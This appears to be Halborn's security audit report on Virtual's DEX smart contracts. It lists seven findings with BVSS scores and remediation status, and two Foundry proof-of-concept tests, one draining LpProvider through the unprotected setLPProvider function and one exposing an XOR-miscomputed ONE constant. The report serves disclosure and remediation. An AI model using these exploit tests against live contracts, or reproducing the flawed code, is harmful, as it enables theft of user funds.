// Security Assessment

12.05.2024 - 12.06.2024

DEX Smart Contracts re-audit

Virtual

HALBORN

DEX Smart Contracts re-audit - Virtual

Prepared by: HALBORN

Last Updated 03/05/2025

Date of Engagement by: December 5th, 2024 - December 6th, 2024

Summary

100% OF ALL REPORTED FINDINGS HAVE BEEN ADDRESSED

ALL FINDINGS	CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
7	2	0	3	1	1

TABLE OF CONTENTS

1. Introduction

`Virtual` engaged Halborn to conduct a security assessment on their smart contracts beginning on December 5th, 2024 and ending on December 6th, 2024.

Additionally 1 extra day in January was dedicated to review a more recent commit of the contracts.

The security assessment was scoped to the smart contracts provided to the Halborn team.

2. Assessment Summary

The team at Halborn was provided 2 days for the engagement and assigned a security engineer to evaluate the security of the smart contract.

The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this assessment is to:

- Ensure that smart contract functions operate as intended.
- Identify potential security issues with the smart contracts.

In summary, Halborn identified some improvements to reduce the likelihood and impact of risks, which have been remediated by the `Virtual team`. The main ones were the following:

- `Implement correct access controls.`
- `Update the value of ONE to 1e18.`
- `Implement proper balance tracking.`

3. Test Approach And Methodology

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy regarding the scope of this assessment. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance code coverage and quickly identify items that do not follow the security best practices. The following phases and associated tools were used during the assessment:

- Research into architecture and purpose.
- Smart contract manual code review and walkthrough.
- Graphing out functionality and contract logic/connectivity/functions. (`solgraph,draw.io`)
- Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.
- Manual testing by custom scripts.
- Static Analysis of security for scoped contract, and imported functions. (`Slither`)
- Testnet deployment. (`Hardhat`,`Foundry`)

4. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on **two sets** of **Metrics** and a **Severity Coefficient**. This system is inspired by the industry standard Common Vulnerability Scoring System.

The two **Metric sets** are: **Exploitability** and **Impact**. **Exploitability** captures the ease and technical means by which vulnerabilities can be exploited and **Impact** describes the consequences of a successful exploit.

The **Severity Coefficients** is designed to further refine the accuracy of the ranking with two factors: **Reversibility** and **Scope**. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.

The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.

The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

4.1 EXPLOITABILITY

ATTACK ORIGIN (AO):

Captures whether the attack requires compromising a specific account.

ATTACK COST (AC):

Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.

ATTACK COMPLEXITY (AX):

Describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.

METRICS:

EXPLOITABILITY METRIC (M_E)	METRIC VALUE	NUMERICAL VALUE
Attack Origin (AO)	Arbitrary (AO:A) Specific (AO:S)	1 0.2
Attack Cost (AC)	Low (AC:L) Medium (AC:M) High (AC:H)	1 0.67 0.33
Attack Complexity (AX)	Low (AX:L) Medium (AX:M) High (AX:H)	1 0.67 0.33

Exploitability E is calculated using the following formula:

$$E = \prod m_e$$

4.2 IMPACT

CONFIDENTIALITY (C):

Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.

INTEGRITY (I):

Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.

AVAILABILITY (A):

Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.

DEPOSIT (D):

Measures the impact to the deposits made to the contract by either users or owners.

YIELD (Y):

Measures the impact to the yield generated by the contract for either users or owners.

METRICS:

IMPACT METRIC (M_I)	METRIC VALUE	NUMERICAL VALUE
Confidentiality (C)	None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C)	0 0.25 0.5 0.75 1
Integrity (I)	None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C)	0 0.25 0.5 0.75 1
Availability (A)	None (A:N) Low (A:L) Medium (A:M) High (A:H) Critical (A:C)	0 0.25 0.5 0.75 1
Deposit (D)	None (D:N) Low (D:L) Medium (D:M) High (D:H) Critical (D:C)	0 0.25 0.5 0.75 1
Yield (Y)	None (Y:N) Low (Y:L) Medium (Y:M) High (Y:H) Critical (Y:C)	0 0.25 0.5 0.75 1

Impact I is calculated using the following formula:

$$I = max(m_I) + \frac{\sum m_I - max(m_I)}{4}$$

4.3 SEVERITY COEFFICIENT

REVERSIBILITY (R):

Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.

SCOPE (S):

Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.

METRICS:

SEVERITY COEFFICIENT (C)	COEFFICIENT VALUE	NUMERICAL VALUE
Reversibility (r)	None (R:N) Partial (R:P) Full (R:F)	1 0.5 0.25
Scope (s)	Changed (S:C) Unchanged (S:U)	1.25 1

Severity Coefficient C is obtained by the following product:

$$C = rs$$

The Vulnerability Severity Score S is obtained by:

$$S = min(10, EIC * 10)$$

The score is rounded up to 1 decimal places.

SEVERITY	SCORE VALUE RANGE
Critical	9 - 10
High	7 - 8.9
Medium	4.5 - 6.9
Low	2 - 4.4
Informational	0 - 1.9

5. SCOPE

FILES AND REPOSITORY

(a) Repository: vdex-smart-contracts

(b) Assessed Commit ID: 39edf15

(c) Items in scope:

- vault.sol
- LpProvider.sol
- DexSupporter.sol

Out-of-Scope: Lock.sol, Proxies.sol, Oracle.sol, SupraOracleDecoder.sol, Dex.sol, Crypto.sol, Third party dependency and economic attacks., All code modifications not directly related to the issues included in this report. (e.g., new features)

FILES AND REPOSITORY

(a) Repository: vdex-smart-contracts

(b) Assessed Commit ID: 8cdcea8

(c) Items in scope:

- LpProvider.sol
- Vault.sol

Out-of-Scope: Third party dependencies and economic attacks., All code modifications not directly related to the issues included in this report. (e.g., new features)

REMEDIATION COMMIT ID:

- 18ba2cb
- 586163d
- 7d4e032
- a1f5f3f

Out-of-Scope: New features/implementations after the remediation commit IDs.

6. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
2	0	3	1	1

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
MISSING ACCESS CONTROL IN LPPROVIDER'S SETLPPROVIDER FUNCTION ENABLES UNAUTHORIZED TOKEN WITHDRAWALS	CRITICAL	SOLVED - 02/18/2025
INCORRECT EXPONENTIATION OPERATOR USAGE LEADS TO INVALID ONE CONSTANT VALUE	CRITICAL	SOLVED - 02/16/2025
IMPROPER BALANCE TRACKING IN SCHNORR WITHDRAWAL FUNCTION	MEDIUM	RISK ACCEPTED - 02/19/2025
INCONSISTENT FUND FLOW AND MISSING ACCOUNTING CONTROLS IN LPPROVIDER DEPOSIT/WITHDRAWAL PROCESS	MEDIUM	SOLVED - 02/16/2025
UNBOUNDED LOOPS CREATE DOS RISK IN DISPUTE SETTLEMENT PROCESS	MEDIUM	SOLVED - 02/16/2025
PRECISION LOSS AND UNCAPPED PERCENTAGE	LOW	SOLVED - 02/16/2025
USE A SNAPSHOTTED BALANCE TO PREVENT UNDERFLOW AND ENFORCE A FIXED DAILY WITHDRAWAL LIMIT	INFORMATIONAL	SOLVED - 02/16/2025

7. FINDINGS & TECH DETAILS

7.1 MISSING ACCESS CONTROL IN LPPROVIDER'S SETLPPROVIDER FUNCTION ENABLES UNAUTHORIZED TOKEN WITHDRAWALS

// CRITICAL

Description

The **LpProvider** contract contains a severe access control vulnerability in the `setLPProvider` function. The function lacks the `onlyOwner` modifier, allowing any external actor to add arbitrary addresses as LP providers:

```
205 function setLPProvider(
206     address[] calldata lpProvider,
207     bool[] calldata isProvider
208 ) external {
209     require(lpProvider.length == isProvider.length, "Invalid input");
210     for (uint256 i = 0; i < lpProvider.length; i++) {
211         isLPProvider[lpProvider[i]] = isProvider[i];
212         emit LPProviderStatusChanged(lpProvider[i], isProvider[i]);
213     }
214 }
```

The function accepts arrays of addresses and boolean values, allowing the caller to set arbitrary addresses as LP providers without any authorization checks.

Once an address is set as an LP provider, it gains access to privileged functions such as `withdrawAllLiquidity()` and `provideLiquidity()`, enabling unauthorized access to protocol funds.

```
159     function withdrawAllLiquidity(address token) external nonReentrant {
160         require(isLPProvider[msg.sender], "Not LP provider");
161         require(IVault(vault).isTokenSupported(token), "Token not supported");
162         uint256 amount = lpProvidedAmount[token];
163         require(amount > 0, "No liquidity to withdraw");
164         require(IERC20(token).transfer(msg.sender, amount), "Transfer failed");
165 
166         lpProvidedAmount[token] = 0;
167 
168         emit LPWithdrawn(msg.sender, token, amount);
169     }
```

Unauthorized actors can designate themselves as LP providers and drain the protocol

Proof of Concept

This PoC can be found in `vault.t.sol`:

```
//E forge test --match-test "test_pocMissingAccessControl" -vv
    function test_pocMissingAccessControl() public {
        deal(address(daiToken), address(bob), 10000 * 10 ** 18);
        vm.startPrank(bob);
        daiToken.approve(address(lpProvider), 10000 * 10 ** 18);
        lpProvider.provideLiquidity(address(daiToken), 10000 * 10 ** 18);
        vm.stopPrank();

        address[] memory newLpProvider = new address[](1);
        bool[] memory isProvider = new bool[](1);
        newLpProvider[0] = address(alice);
```

```
        isProvider[0] = true;

        assertEq(lpProvider.isLPProvider(address(alice)), false);

        vm.startPrank(alice);
        lpProvider.setLPProvider(newLpProvider, isProvider);

        assertEq(lpProvider.isLPProvider(address(alice)), true);
        lpProvider.withdrawAllLiquidity(address(daiToken));
        vm.stopPrank();

        assertEq(daiToken.balanceOf(address(alice)), 10000 * 10 ** 18);
        assertEq(daiToken.balanceOf(address(lpProvider)), 0);
    }
```

And the result that the test pass and Alice drain the vault :

```
Ran 1 test for test/vault.t.sol:VaultTest
[PASS] test_pocMissingAccessControl() (gas: 312364)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.01ms (1.30ms CPU time)

Ran 1 test suite in 192.99ms (3.01ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
➜  vdex-smart-contracts-feat-contract-deployment-steps git:(main) ✗
```

BVSS

AO:A/AC:L/AX:L/C:N/I:C/A:C/D:C/Y:C/R:N/S:C (10.0)

Recommendation

Add the `onlyOwner` modifier to restrict access to the `setLPProvider` function.

Remediation Comment

SOLVED : The **Virtual team** added the missing "onlyOwner" modifier.

Remediation Hash

https://github.com/0xVirtualLabs/vdex-smart-contracts/commit/18ba2cb7b14aca4ceac97bcc47126a60ea313f1f

References

["https://github.com/0xVirtualLabs/vdex-smart-contracts/blob/feat/contract-deployment-steps/contracts/0xVault/LpProvider.sol#L205"]

7.2 INCORRECT EXPONENTIATION OPERATOR USAGE LEADS TO INVALID ONE CONSTANT VALUE

// CRITICAL

Description

In **DexSupporter** contract, there is a critical arithmetic error in the declaration of the `ONE` constant. The contract uses the bitwise XOR operator (`^`) instead of the exponentiation operator (`**`) when defining the ONE constant value, resulting in an incorrect value that affects all calculations using this constant.

```
uint256 constant ONE = 10 ^ 18;
```

The `^` operator performs a bitwise `XOR` operation in Solidity, not exponentiation. As a result, instead of setting `ONE` to 10^{18} (1,000,000,000,000,000,000), the constant is set to `24` (binary `10 XOR 18 = 24` in decimal).

This incorrect value propagates through critical calculations in the contract, particularly in the `settleDispute` function where it is used for value calculations:

```
uint256 transferAmount = (positions[i].collaterals[j].quantity *
    uMul *
    collateralOraclePrice.price) /
    (1e10 * collateralOraclePrice.decimals * ONE);
```

Impact:
1. All calculations using the `ONE` constant undervalue transfers by a factor of approximately 4.16 x 10^{16} (1,000,000,000,000,000,000/24)
2. Users receive significantly fewer funds than intended during settlements.
3. Position liquidations trigger at incorrect thresholds.
4. The entire economic model of the protocol is severely compromised.

Proof of Concept

This test can be found in `vault.t.sol`:

```
function test_POCIncorrectONEConstant() public {
        vm.warp(10 days);
        console.log("ONE = %s", dexSupporter.ONE());

        // Setup initial state
        deal(address(daiToken), address(alice), 100e18);

        vm.startPrank(alice);
        daiToken.approve(address(vault), 100e18);
        vault.deposit(address(daiToken), 100e18);
        vm.stopPrank();

        // Create withdrawal data with Schnorr signature
        uint32 signatureId = 1;
        address alicePublicKey = vm.addr(alicePKey);

        // Create position with collateral
        Crypto.Collateral[] memory collaterals = new Crypto.Collateral[](1);
        collaterals[0] = Crypto.Collateral({
            oracleId: 1,
```

```
        token: address(daiToken),
        quantity: 25e18,
        entryPrice: 1e18
    });

    Crypto.Position[] memory positions = new Crypto.Position[](1);
    positions[0] = Crypto.Position({
        positionId: "POS1",
        oracleId: 1,
        token: address(daiToken),
        quantity: 25e18,
        leverageFactor: 2,
        leverageType: "cross",
        isLong: true,
        collaterals: collaterals,
        entryPrice: 1e18,
        createdTimestamp: uint256(block.timestamp - 1 days)
    });

    Crypto.Balance[] memory balances = new Crypto.Balance[](1);
    balances[0] = Crypto.Balance({
        oracleId: 1,
        addr: address(daiToken),
        balance: 50e18
    });

    // Create withdrawal request
    bytes memory withdrawData = abi.encode(
        signatureId,
        alice,
        balances,
        positions,
        "withdraw",
        block.timestamp,
        block.chainid
    );

    Crypto.SchnorrSignature memory withdrawSchnorrSig = sign(withdrawData, alicePKey, a
    vault.setCombinedPublicKey(alice, withdrawSchnorrSig.combinedPublicKey);

    // Initiate withdrawal
    vm.prank(alice);
    vault.withdrawAndClosePositionTrustlessly(withdrawSchnorrSig);


    // Get dispute ID and verify it's created
    (bool isOpenDispute, uint64 disputeTimestamp, address disputeUser) = vault.getDispu
    assertTrue(isOpenDispute, "Dispute should be opened");
    assertEq(disputeUser, alice, "Dispute user should be Alice");

    // Create mock oracle proof for liquidation
    SupraOracleDecoder.CommitteeFeed[] memory committeeFeeds = new SupraOracleDecoder.C
    committeeFeeds[0] = SupraOracleDecoder.CommitteeFeed({
        pair: uint32(1),
        price: uint128(2e18), // Price doubled
        timestamp: uint64(block.timestamp),
        decimals: uint16(18),
        round: uint64(8)
```

```
        });

        SupraOracleDecoder.CommitteeFeedWithProof memory committeeFeedWithProof = SupraOracl
            committee_feeds: committeeFeeds,
            proofs: new bytes32[](0),
            flags: new bool[](0)
        });

        SupraOracleDecoder.PriceDetailsWithCommittee[] memory priceDetails = new SupraOracl
        priceDetails[0] = SupraOracleDecoder.PriceDetailsWithCommittee({
            committee_id: uint64(2039),
            root: bytes32("0x0"),
            sigs: [uint256(0), uint256(0)],
            committee_data: committeeFeedWithProof
        });

        bytes memory mockProofBytes = abi.encode(
            SupraOracleDecoder.OracleProofV2({
                data: priceDetails
            })
        );

        Crypto.LiquidatedPosition[] memory liquidatedPositions = new Crypto.LiquidatedPosit
        liquidatedPositions[0] = Crypto.LiquidatedPosition({
            positionId: "POS1",
            proofBytes: mockProofBytes
        });
        // Call DexSupporter's challengeLiquidatedPosition
        vm.prank(bob);
        dexSupporter.challengeLiquidatedPosition(1, liquidatedPositions);
        // Move time forward to allow settlement
        vm.warp(block.timestamp + 2 hours);

        // Call DexSupporter's settleDispute
        vm.prank(bob);
        dexSupporter.settleDispute(1);
    }
```

And the result showing significant result :

```
Ran 1 test for test/vault.t.sol:VaultTest
[PASS] test_POCIncorrectONEConstant() (gas: 893104)
Logs:
  ONE = 24
  transferAmount         = 694652777777777777777777777
  expectedTransferAmount = 16671666666

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.01ms (1.24ms CPU time)

Ran 1 test suite in 195.63ms (4.01ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
➜  vdex-smart-contracts-feat-contract-deployment-steps git:(main) ✗
```

BVSS

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:C/R:N/S:C (10.0)

Recommendation

Replace the incorrect operator with the proper exponentiation operator:

```
uint256 constant ONE = 1e18;
```

Remediation Comment

SOLVED : The **Virtual team** corrected the issue and now `ONE` variable is equal to `1e18`.

Remediation Hash

https://github.com/0xVirtualLabs/vdex-smart-contracts/commit/586163daaa64089111ba8bc3fe6bbd823bf4a252

References

["https://github.com/0xVirtualLabs/vdex-smart-contracts/blob/feat/contract-deployment-steps/contracts/0xVault/DexSupporter.sol#L42"]

7.3 IMPROPER BALANCE TRACKING IN SCHNORR WITHDRAWAL FUNCTION

// MEDIUM

Description

In the **Vault** contract, the `withdrawSchnorr` function executes token transfers without updating the user's `depositedAmount` balance. The error exists in the following code:

```
242 function withdrawSchnorr(
243     address _combinedPublicKey,
244     Crypto.SchmorrSignature calldata _schnorr
245 ) external nonReentrant whenNotPaused {
246     require(!_schnorrSignatureUsed[_schnorr.signature], "Signature already used");
247     Crypto.SchnorrDataWithdraw memory schnorrData = Crypto
248         .decodeSchnorrDataWithdraw(_schnorr, combinedPublicKey[msg.sender]);
249 
250     require(schnorrData.amount > 0, "Amount must be greater than zero");
251     require(isTokenSupported[schnorrData.token], "Token not supported");
252     require(
253         block.timestamp - schnorrData.timestamp < signatureExpiryTime,
254         "Signature Expired"
255     );
256 
257     if (schnorrData.trader != msg.sender) {
258         revert InvalidSchnorrSignature();
259     }
260 
261     _schnorrSignatureUsed[_schnorr.signature] = true;
262     combinedPublicKey[msg.sender] = _combinedPublicKey;
263 
264     require(
265         IERC20(schnorrData.token).transfer(msg.sender, schnorrData.amount),
266         "Transfer failed"
267     );
268 
269     emit Withdrawn(msg.sender, schnorrData.token, schnorrData.amount);
270 }
```

The function lacks to update the `depositedAmount` mapping after transferring tokens as the update is done in the deposit function and in a partial or full liquidation process :

```
221     function deposit(
222         address token,
223         uint256 amount
224     ) external nonReentrant whenNotPaused {
225         require(amount > 0, "Amount must be greater than zero");
226         require(isTokenSupported[token], "Token not supported");
227 
228         require(
229             IERC20(token).transferFrom(msg.sender, address(this), amount),
230             "Transfer failed"
231         );
232 
233         depositedAmount[msg.sender][token] += amount;
234 
```

```
235             emit Deposited(msg.sender, token, amount);
        }
```

In a normal deposit/withdraw flow, this mapping should be updated.

BVSS

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:M/Y:N/R:N/S:C (6.3)

Recommendation

It is recommended to implement proper balance tracking in the `withdrawSchnorr` function.

Remediation Comment

RISK ACCEPTED : The **Virtual team** decided to not implement a fix and take the risk of this finding.

References

["https://github.com/0xVirtualLabs/vdex-smart-contracts/blob/feat/contract-deployment-steps/contracts/0xVault/Vault.sol#L242"]

7.4 INCONSISTENT FUND FLOW AND MISSING ACCOUNTING CONTROLS IN LPPROVIDER DEPOSIT/WITHDRAWAL PROCESS

// MEDIUM

Description

The **LpProvider** contract implements an inconsistent fund flow where deposits and withdrawals operate on different token pools, coupled with a lack of accounting controls. When users deposit funds through `depositFund()`, tokens are transferred to a `coldWallet` address, but withdrawals in `withdrawFund()` are processed from the **LpProvider** contract's balance:

```
96  function depositFund(address token, uint256 amount) external nonReentrant {
97      require(amount > 0, "Amount must be greater than zero");
98      require(IVault(vault).isTokenSupported(token), "Token not supported");
99
100     require(
101         IERC20(token).transferFrom(msg.sender, coldWallet, amount),// Tokens sent to c
102         "Transfer failed"
103     );
104
105     emit DepositFund(msg.sender, token, amount);
106 }
```

The `withdrawFund()` function processes withdrawals from the LpProvider contract balance, which originates from other operations like `provideLiquidity()`:

```
114 function withdrawFund(
115     address token,
116     uint256 amount,
117     uint256 requestId,
118     bytes calldata signature
119 ) external nonReentrant {
120     require(amount > 0, "Amount must be greater than zero");
121
122     _verifyWithdrawProof(msg.sender, token, amount, requestId, signature);
123
124     require(
125         IERC20(token).transfer(msg.sender, amount),// Withdrawn from LpProvider balanc
126         "Transfer failed"
127     );
128
129     emit WithdrawFund(msg.sender, token, amount, requestId);
130 }
```

Impacts:

- No accounting system tracks individual user deposits
- Withdrawals process tokens from a different source than deposits
- Users withdraw funds from the liquidity pool rather than their deposited tokens
- Contract enables withdrawal of tokens provided through other contract functions

BVSS

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:M/Y:N/R:N/S:U (5.0)

Recommendation

It is recommended to implement consistent fund flow, proper accounting controls using a mapping and separate the deposit/withdrawal flow from liquidity provision operations to maintain clear fund segregation and accurate accounting.

Remediation Comment

SOLVED : The **Virtual team** now implements a consistent flow of funds but did not implement something to account for the deposit/withdraw of a single user, transfers are still made from the pool and no user balance is increasing/decreasing in `depositFunds()`/`withdrawFund()`, however , off-chain account balance are checked so the finding is considered as solved.

Remediation Hash

https://github.com/0xVirtualLabs/vdex-smart-contracts/commit/7d4e032b83fa497720297079cbb31089ee435873

References

["https://github.com/0xVirtualLabs/vdex-smart-contracts/blob/feat/contract-deployment-steps/contracts/0xVault/LpProvider.sol#L96","https://github.com/0xVirtualLabs/vdex-smart-contracts/blob/feat/contract-deployment-steps/contracts/0xVault/LpProvider.sol#L114"]

7.5 UNBOUNDED LOOPS CREATE DOS RISK IN DISPUTE SETTLEMENT PROCESS

// MEDIUM

Description

The `settleDispute()` function in `DexSupporter` contract contains multiple nested unbounded loops that process positions, collaterals, and balances. The function executes these loops without any restrictions on array lengths or gas consumption monitoring.

```
function settleDispute(uint32 requestId) external {
    // ... input validation ...

    // First unbounded loop
    for (uint i = 0; i < positions.length; i++) {
        if (positions[i].quantity == 0) {
            continue;
        }

        // Second nested unbounded loop
        for (uint256 j = 0; j < positions[i].collaterals.length; j++) {

            // Third nested unbounded loop
            for (uint256 k = 0; k < balances.length; k++) {
                if (balances[k].addr == positions[i].token) {
                    updatedBalances[k] += transferAmount;
                    break;
                }
            }
        }
    }
}
```

The triple-nested loop structure creates an $O(n^3)$ complexity, where `n` represents the number of positions, collaterals per position, and balances. With 30 positions, 15 collaterals, and 15 balances, the function performs 6,750 iterations, consuming more gas than the block limit allows.

The unbounded loops enable attackers to create positions with numerous collaterals that block dispute settlements by exceeding block gas limits. This renders the dispute resolution mechanism inoperable, compromising a core protocol safety feature. Users with legitimate disputes are unable to settle their positions if the arrays grow too large.

BVSS

AO:A/AC:L/AX:L/C:N/I:N/A:M/D:N/Y:N/R:N/S:U (5.0)

Recommendation

It is recommended to add strict limits on array sizes processed.

Remediation Comment

SOLVED : The **Entropy team** now has a `MAX_POSITIONS` variable which limits the number of loop to `15`.

Remediation Hash

https://github.com/0xVirtualLabs/vdex-smart-contracts/commit/586163daaa64089111ba8bc3fe6bbd823bf4a252

References

["https://github.com/0xVirtualLabs/vdex-smart-contracts/blob/feat/contract-deployment-steps/contracts/0xVault/DexSupporter.sol#L190"]

7.6 PRECISION LOSS AND UNCAPPED PERCENTAGE

// LOW

Description

The contracts implement a withdrawal cap mechanism where the maximum `withdrawable` amount is calculated as a percentage of the total balance. The implementation uses `100` as the denominator for percentage calculations, which leads to unnecessary precision loss. Additionally, the `setWithdrawalCapForToken()` function lacks validation for the maximum percentage value.

```
uint256 maxWithdrawable = (IERC20(token).balanceOf(address(this)) * withdrawalCapPerToken[t
```

```
function setWithdrawalCapForToken(address token, uint256 _cap) external onlyOwner {
    withdrawalCapPerToken[token] = _cap;
}
```

- The use of 100 as a denominator results in precision loss during percentage calculations, limiting the granularity of withdrawal caps to whole percentage points
- The unconstrained cap value allows the owner to set withdrawal limits above 100%, effectively nullifying the purpose of the withdrawal cap mechanism

BVSS

AO:A/AC:L/AX:L/C:N/I:L/A:L/D:N/Y:N/R:N/S:C (3.9)

Recommendation

It is recommended to increase the precision of percentage calculations to at least `10_000` (using a constant variable) and enforce it in `setWithdrawalCapForToken`.

Remediation Comment

SOLVED : The **Virtual team** updated the `PRECISION_PERCENTAGE to 10_000 which solves the issue.`

Remediation Hash

https://github.com/0xVirtualLabs/vdex-smart-contracts/commit/a1f5f3fd203ca890fcd0e035ac5bd82df6ea0f94

7.7 USE A SNAPSHOTTED BALANCE TO PREVENT UNDERFLOW AND ENFORCE A FIXED DAILY WITHDRAWAL LIMIT

// INFORMATIONAL

Description

The current implementation calculates the daily withdrawal limit based on the current token balance. This design causes two issues:

1. **Underflow Condition**

When partial withdrawals reduce the remaining cap, subsequent withdrawals might trigger an underflow because the recalculated `maxWithdrawable` can become smaller than the already withdrawn amount (`totalWithdrawnPerToken[token]`).

2. **Dynamic Limit Increases**

Additional deposits arriving after the day begins increase the effective daily withdrawal limit, contrary to the concept of a fixed daily maximum.

```
107     function withdrawFund(
108         address token,
109         uint256 amount,
110         uint256 requestId,
111         bytes calldata signature
112     ) external nonReentrant {
113         require(amount > 0, "Amount must be greater than zero");
114 
115         uint256 maxWithdrawable = (IERC20(token).balanceOf(address(this)) * withdrawal
116 
117         uint256 availableToWithdraw = maxWithdrawable - totalWithdrawnPerToken[token];
118 
119         require(amount <= availableToWithdraw, "Cannot withdraw more than the set perc
120 
121         _verifyWithdrawProof(msg.sender, token, amount, requestId, signature);
122 
123         require(IERC20(token).transfer(msg.sender, amount), "Transfer failed");
124 
125         totalWithdrawnPerToken[token] += amount;
126 
127         emit WithdrawFund(msg.sender, token, amount, requestId);
128     }
```

A more robust strategy is to snapshot each token's balance at the start of the day in the `snapshot()` function and use that fixed amount for daily limit calculations as it is done in Vault.sol. This approach ensures the daily limit remains static for the full 24-hour period and prevents underflow.

Score

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:C (0.0)

Recommendation

It is recommended to store the contract's balance for each token at snapshot time, and use this value when computing the daily withdrawal limit as it is done in vault.sol. This ensures a fixed daily withdrawal threshold, prevents underflow, and avoids inflating the daily limit after new tokens are deposited.

Remediation Comment

SOLVED : The **Virtual team** removed `lastSnapshotTime` mapping and replaced it by 2 mappings to snapshot and help to keep the consistency of the flow.

Remediation Hash

https://github.com/0xVirtualLabs/vdex-smart-contracts/commit/7d4e032b83fa497720297079cbb31089ee435873

8. AUTOMATED TESTING

Halborn used automated testing techniques to enhance the coverage of certain areas of the smart contracts in scope. Among the tools used was `Slither`, a Solidity static analysis framework.
After Halborn verified the smart contracts in the repository and was able to compile them correctly into their abis and binary format, Slither was run against the contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.

All issues identified by `Slither` were proved to be false positives or have been added to the issue list in this report.
